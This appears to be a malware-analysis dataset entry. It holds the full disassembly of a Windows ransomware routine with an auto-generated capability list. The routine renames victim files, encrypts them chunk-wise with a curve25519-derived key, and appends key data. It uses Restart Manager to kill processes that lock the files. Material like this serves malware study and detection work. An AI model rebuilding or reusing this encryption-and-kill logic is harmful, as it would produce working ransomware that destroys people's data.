Function at 0x416280
Capabilities:
Contain obfuscated stackstrings
Create restart manager session
Encrypt data using curve25519
Enumerate processes that use resource
Generate random numbers via winapi
Get file size
Move file
Read file on windows
Set file attributes
Terminate process
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2cb0
call fcn.00426170
movzx eax, byte [0x44817c]
test eax, eax
je 0x41629d
jmp 0x416dae
mov byte [ebp - 0xb8], 9
xor ecx, ecx
mov dword [ebp - 0xb7], ecx
mov dword [ebp - 0xb3], ecx
mov dword [ebp - 0xaf], ecx
mov dword [ebp - 0xab], ecx
mov dword [ebp - 0xa7], ecx
mov dword [ebp - 0xa3], ecx
mov dword [ebp - 0x9f], ecx
mov word [ebp - 0x9b], cx
mov byte [ebp - 0x99], cl
mov dword [ebp - 0x6c], 1
mov edx, 0x6420676e
mov dword [ebp - 0x120], 0x756f6863
mov dword [ebp - 0x11c], edx
mov eax, 0x6b6f6f6c
mov dword [ebp - 0x118], 0x20676e6f
mov dword [ebp - 0x114], eax
mov ecx, 0x6820656b
mov dword [ebp - 0x110], 0x696c2073
mov dword [ebp - 0x10c], ecx
mov edx, 0x2121676f
mov dword [ebp - 0x108], 0x6420746f
mov dword [ebp - 0x104], edx
push 0x80
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea edx, [eax + eax + 0xe]
push edx
call fcn.00425d70
add esp, 4
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x416dae
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x401adc
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 9
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
je 0x416d1f
push 0
push 0x8000000
push 3
push 0
push 0
push 0xc0000000
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x20]
push eax
call fcn.00425da0
add esp, 4
cmp dword [ebp - 4], 0xffffffff
je 0x416862
lea ecx, [ebp - 0x28]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
push 0x100000
call fcn.00425d70
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x416853
lea eax, [ebp - 0xe0]
push eax
push 0x20
mov ecx, dword [0x448180]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov edx, 1
imul eax, edx, 0
movzx ecx, byte [ebp + eax - 0xe0]
and ecx, 0xf8
mov edx, 1
imul eax, edx, 0
mov byte [ebp + eax - 0xe0], cl
mov ecx, 1
imul edx, ecx, 0x1f
movzx eax, byte [ebp + edx - 0xe0]
and eax, 0x7f
mov ecx, 1
imul edx, ecx, 0x1f
mov byte [ebp + edx - 0xe0], al
mov eax, 1
imul ecx, eax, 0x1f
movzx edx, byte [ebp + ecx - 0xe0]
or edx, 0x40
mov eax, 1
imul ecx, eax, 0x1f
mov byte [ebp + ecx - 0xe0], dl
lea edx, [ebp - 0xb8]
push edx
lea eax, [ebp - 0xe0]
push eax
lea ecx, [ebp - 0x148]
push ecx
call fcn.00411980
add esp, 0xc
push 0x4471b8
lea edx, [ebp - 0xe0]
push edx
lea eax, [ebp - 0x100]
push eax
call fcn.00411980
add esp, 0xc
lea ecx, [ebp - 0x188]
push ecx
push 0x20
lea edx, [ebp - 0x100]
push edx
call fcn.004239c0
add esp, 0xc
push 0x100
push 0x100
lea eax, [ebp - 0x188]
push eax
lea ecx, [ebp - 0x1298]
push ecx
call fcn.00422d60
add esp, 0x10
lea edx, [ebp - 0x168]
push edx
lea eax, [ebp - 0x1298]
push eax
call fcn.00422df0
add esp, 8
push 0x40
lea ecx, [ebp - 0x188]
push ecx
call fcn.00423460
add esp, 8
mov dword [ebp - 0x128], eax
push 0x40
push 0
mov edx, 4
imul eax, edx, 0
lea ecx, [ebp + eax - 0x214]
push ecx
call fcn.00425d00
add esp, 0xc
push 0x40
push 0
lea edx, [ebp - 0x188]
push edx
call fcn.00425d00
add esp, 0xc
push 0x40
push 0
lea eax, [ebp - 0x100]
push eax
call fcn.00425d00
add esp, 0xc
xorps xmm0, xmm0
movlpd qword [ebp - 0x14], xmm0
push 0
push 0
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
cmp dword [ebp - 0x24], 0
jl 0x416688
jg 0x416592
cmp dword [ebp - 0x28], 0x1400000
jbe 0x416688
push 0
push 0xa00000
mov ecx, dword [ebp - 0x24]
push ecx
mov edx, dword [ebp - 0x28]
push edx
call fcn.004260c0
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x8c], edx
xorps xmm0, xmm0
movlpd qword [ebp - 0x54], xmm0
jmp 0x4165ce
mov eax, dword [ebp - 0x54]
add eax, 1
mov ecx, dword [ebp - 0x50]
adc ecx, 0
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], ecx
mov edx, dword [ebp - 0x50]
cmp edx, dword [ebp - 0x8c]
jg 0x416683
jl 0x4165ee
mov eax, dword [ebp - 0x54]
cmp eax, dword [ebp - 0x90]
jae 0x416683
push 0
lea ecx, [ebp - 0x1c]
push ecx
push 0x100000
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 8]
push eax
lea ecx, [ebp - 0x1298]
push ecx
push 0
call fcn.00423150
add esp, 0x14
push 0
push 0
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea edx, [ebp - 0x30]
push edx
push 0x100000
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 0x14]
add edx, 0xa00000
mov eax, dword [ebp - 0x10]
adc eax, 0
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x10], eax
push 0
push 0
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
jmp 0x4165bc
jmp 0x4167fa
cmp dword [ebp - 0x24], 0
jl 0x416789
jg 0x4166a1
cmp dword [ebp - 0x28], 0x500000
jbe 0x416789
push 0
push 3
mov ecx, dword [ebp - 0x24]
push ecx
mov edx, dword [ebp - 0x28]
push edx
call fcn.004260c0
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], edx
xorps xmm0, xmm0
movlpd qword [ebp - 0x5c], xmm0
jmp 0x4166da
mov eax, dword [ebp - 0x5c]
add eax, 1
mov ecx, dword [ebp - 0x58]
adc ecx, 0
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], ecx
cmp dword [ebp - 0x58], 0
jg 0x416787
jl 0x4166f0
cmp dword [ebp - 0x5c], 3
jae 0x416787
push 0
lea edx, [ebp - 0x1c]
push edx
push 0x100000
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 8]
push ecx
lea edx, [ebp - 0x1298]
push edx
push 0
call fcn.00423150
add esp, 0x14
push 0
push 0
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea eax, [ebp - 0x30]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x98]
mov edx, dword [ebp - 0x10]
adc edx, dword [ebp - 0x94]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], edx
push 0
push 0
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
jmp 0x4166c8
jmp 0x4167fa
cmp dword [ebp - 0x24], 0
jl 0x4167fa
jg 0x416797
cmp dword [ebp - 0x28], 0
jbe 0x4167fa
push 0
lea eax, [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x28]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 8]
push eax
lea ecx, [ebp - 0x1298]
push ecx
push 0
call fcn.00423150
add esp, 0x14
push 0
push 0
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea edx, [ebp - 0x30]
push edx
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x10cc
push 0
lea eax, [ebp - 0x1298]
push eax
call fcn.00425d00
add esp, 0xc
xorps xmm0, xmm0
movlpd qword [ebp - 0x14], xmm0
push 2
push 0
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea ecx, [ebp - 0x30]
push ecx
push 0x48
lea edx, [ebp - 0x148]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp - 8]
push ecx
call fcn.00425da0
add esp, 4
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x416d1a
cmp dword [ebp - 0x6c], 0
je 0x416c8b
mov dword [ebp - 0x18], 0
push 0x42
push 0
lea eax, [ebp - 0x1cc]
push eax
call fcn.00425d00
add esp, 0xc
lea ecx, [ebp - 0x1cc]
push ecx
push 0
lea edx, [ebp - 0x40]
push edx
call sub.RstrtMgr.DLL_RmStartSession
test eax, eax
jne 0x4168a5
mov dword [ebp - 0x7c], 1
jmp 0x4168ac
mov dword [ebp - 0x7c], 0
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x416bfe
push 0
push 0
push 0
push 0
lea ecx, [ebp + 8]
push ecx
push 1
mov edx, dword [ebp - 0x40]
push edx
call sub.RstrtMgr.DLL_RmRegisterResources
test eax, eax
jne 0x4168e0
mov dword [ebp - 0x80], 1
jmp 0x4168e7
mov dword [ebp - 0x80], 0
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x416b5c
mov dword [ebp - 0x88], 0xa
lea ecx, [ebp - 0xbc]
push ecx
lea edx, [ebp - 0x2cb0]
push edx
lea eax, [ebp - 0x88]
push eax
lea ecx, [ebp - 0xc0]
push ecx
mov edx, dword [ebp - 0x40]
push edx
call sub.RstrtMgr.DLL_RmGetList
test eax, eax
jne 0x416936
mov dword [ebp - 0x84], 1
jmp 0x416940
mov dword [ebp - 0x84], 0
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x416acf
mov dword [ebp - 0xc], 0
jmp 0x416965
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
cmp edx, dword [ebp - 0x88]
jae 0x416aca
imul eax, dword [ebp - 0xc], 0x29c
cmp dword [ebp + eax - 0x2a24], 4
je 0x416ac5
imul ecx, dword [ebp - 0xc], 0x29c
cmp dword [ebp + ecx - 0x2a24], 0x3e8
je 0x416ac5
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
imul edx, dword [ebp - 0xc], 0x29c
cmp eax, dword [ebp + edx - 0x2cb0]
je 0x416ac5
imul eax, dword [ebp - 0xc], 0x29c
mov ecx, dword [ebp + eax - 0x2cb0]
push ecx
push 0
push 0x100001
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0xffffffff
je 0x416a0a
push 0
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0x1388
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x416ac5
cmp dword [0x448178], 0
je 0x416ac5
push 0
push 0
push 0
push 0
imul edx, dword [ebp - 0xc], 0x29c
lea eax, [ebp + edx - 0x2ca4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
imul ecx, dword [ebp - 0xc], 0x29c
lea edx, [ebp + ecx - 0x2ca4]
push edx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x60]
push eax
call fcn.00425d70
add esp, 4
mov dword [ebp - 0x34], eax
push 0
push 0
mov ecx, dword [ebp - 0x60]
push ecx
mov edx, dword [ebp - 0x34]
push edx
imul eax, dword [ebp - 0xc], 0x29c
lea ecx, [ebp + eax - 0x2ca4]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
imul edx, dword [ebp - 0xc], 0x29c
lea eax, [ebp + edx - 0x2ca4]
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov ecx, dword [ebp - 0x34]
push ecx
push 0x403aec
call fcn.004117d0
add esp, 0xc
mov edx, dword [ebp - 0x34]
push edx
call fcn.00425da0
add esp, 4
jmp 0x41695c
jmp 0x416b57
cmp dword [0x448178], 0
je 0x416b57
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x64], eax
mov edx, dword [ebp - 0x64]
push edx
call fcn.00425d70
add esp, 4
mov dword [ebp - 0x38], eax
push 0
push 0
mov eax, dword [ebp - 0x64]
push eax
mov ecx, dword [ebp - 0x38]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov eax, dword [ebp + 8]
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0x38]
push edx
push 0x403b00
call fcn.004117d0
add esp, 0xc
mov eax, dword [ebp - 0x38]
push eax
call fcn.00425da0
add esp, 4
jmp 0x416be4
cmp dword [0x448178], 0
je 0x416be4
push 0
push 0
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov edx, dword [ebp + 8]
push edx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x68]
push eax
call fcn.00425d70
add esp, 4
mov dword [ebp - 0x3c], eax
push 0
push 0
mov ecx, dword [ebp - 0x68]
push ecx
mov edx, dword [ebp - 0x3c]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [ebp - 0x3c]
push eax
push 0x403b10
call fcn.004117d0
add esp, 0xc
mov ecx, dword [ebp - 0x3c]
push ecx
call fcn.00425da0
add esp, 4
mov edx, dword [ebp - 0x40]
push edx
call sub.RstrtMgr.DLL_RmEndSession
mov dword [ebp - 0x6c], 0
jmp 0x4163a0
cmp dword [0x448178], 0
je 0x416c86
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x70], eax
mov edx, dword [ebp - 0x70]
push edx
call fcn.00425d70
add esp, 4
mov dword [ebp - 0x44], eax
push 0
push 0
mov eax, dword [ebp - 0x70]
push eax
mov ecx, dword [ebp - 0x44]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov eax, dword [ebp + 8]
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0x44]
push edx
push 0x403b2c
call fcn.004117d0
add esp, 0xc
mov eax, dword [ebp - 0x44]
push eax
call fcn.00425da0
add esp, 4
jmp 0x416d1a
cmp dword [0x448178], 0
je 0x416d1a
push 0
push 0
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov edx, dword [ebp + 8]
push edx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
push eax
call fcn.00425d70
add esp, 4
mov dword [ebp - 0x48], eax
push 0
push 0
mov ecx, dword [ebp - 0x74]
push ecx
mov edx, dword [ebp - 0x48]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov edx, dword [ebp - 0x48]
push edx
push 0x403b44
call fcn.004117d0
add esp, 0xc
mov eax, dword [ebp - 0x48]
push eax
call fcn.00425da0
add esp, 4
jmp 0x416dae
cmp dword [0x448178], 0
je 0x416dae
push 0
push 0
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov edx, dword [ebp + 8]
push edx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x78]
push eax
call fcn.00425d70
add esp, 4
mov dword [ebp - 0x4c], eax
push 0
push 0
mov ecx, dword [ebp - 0x78]
push ecx
mov edx, dword [ebp - 0x4c]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov edx, dword [ebp - 0x4c]
push edx
push 0x403b68
call fcn.004117d0
add esp, 0xc
mov eax, dword [ebp - 0x4c]
push eax
call fcn.00425da0
add esp, 4
mov esp, ebp
pop ebp
ret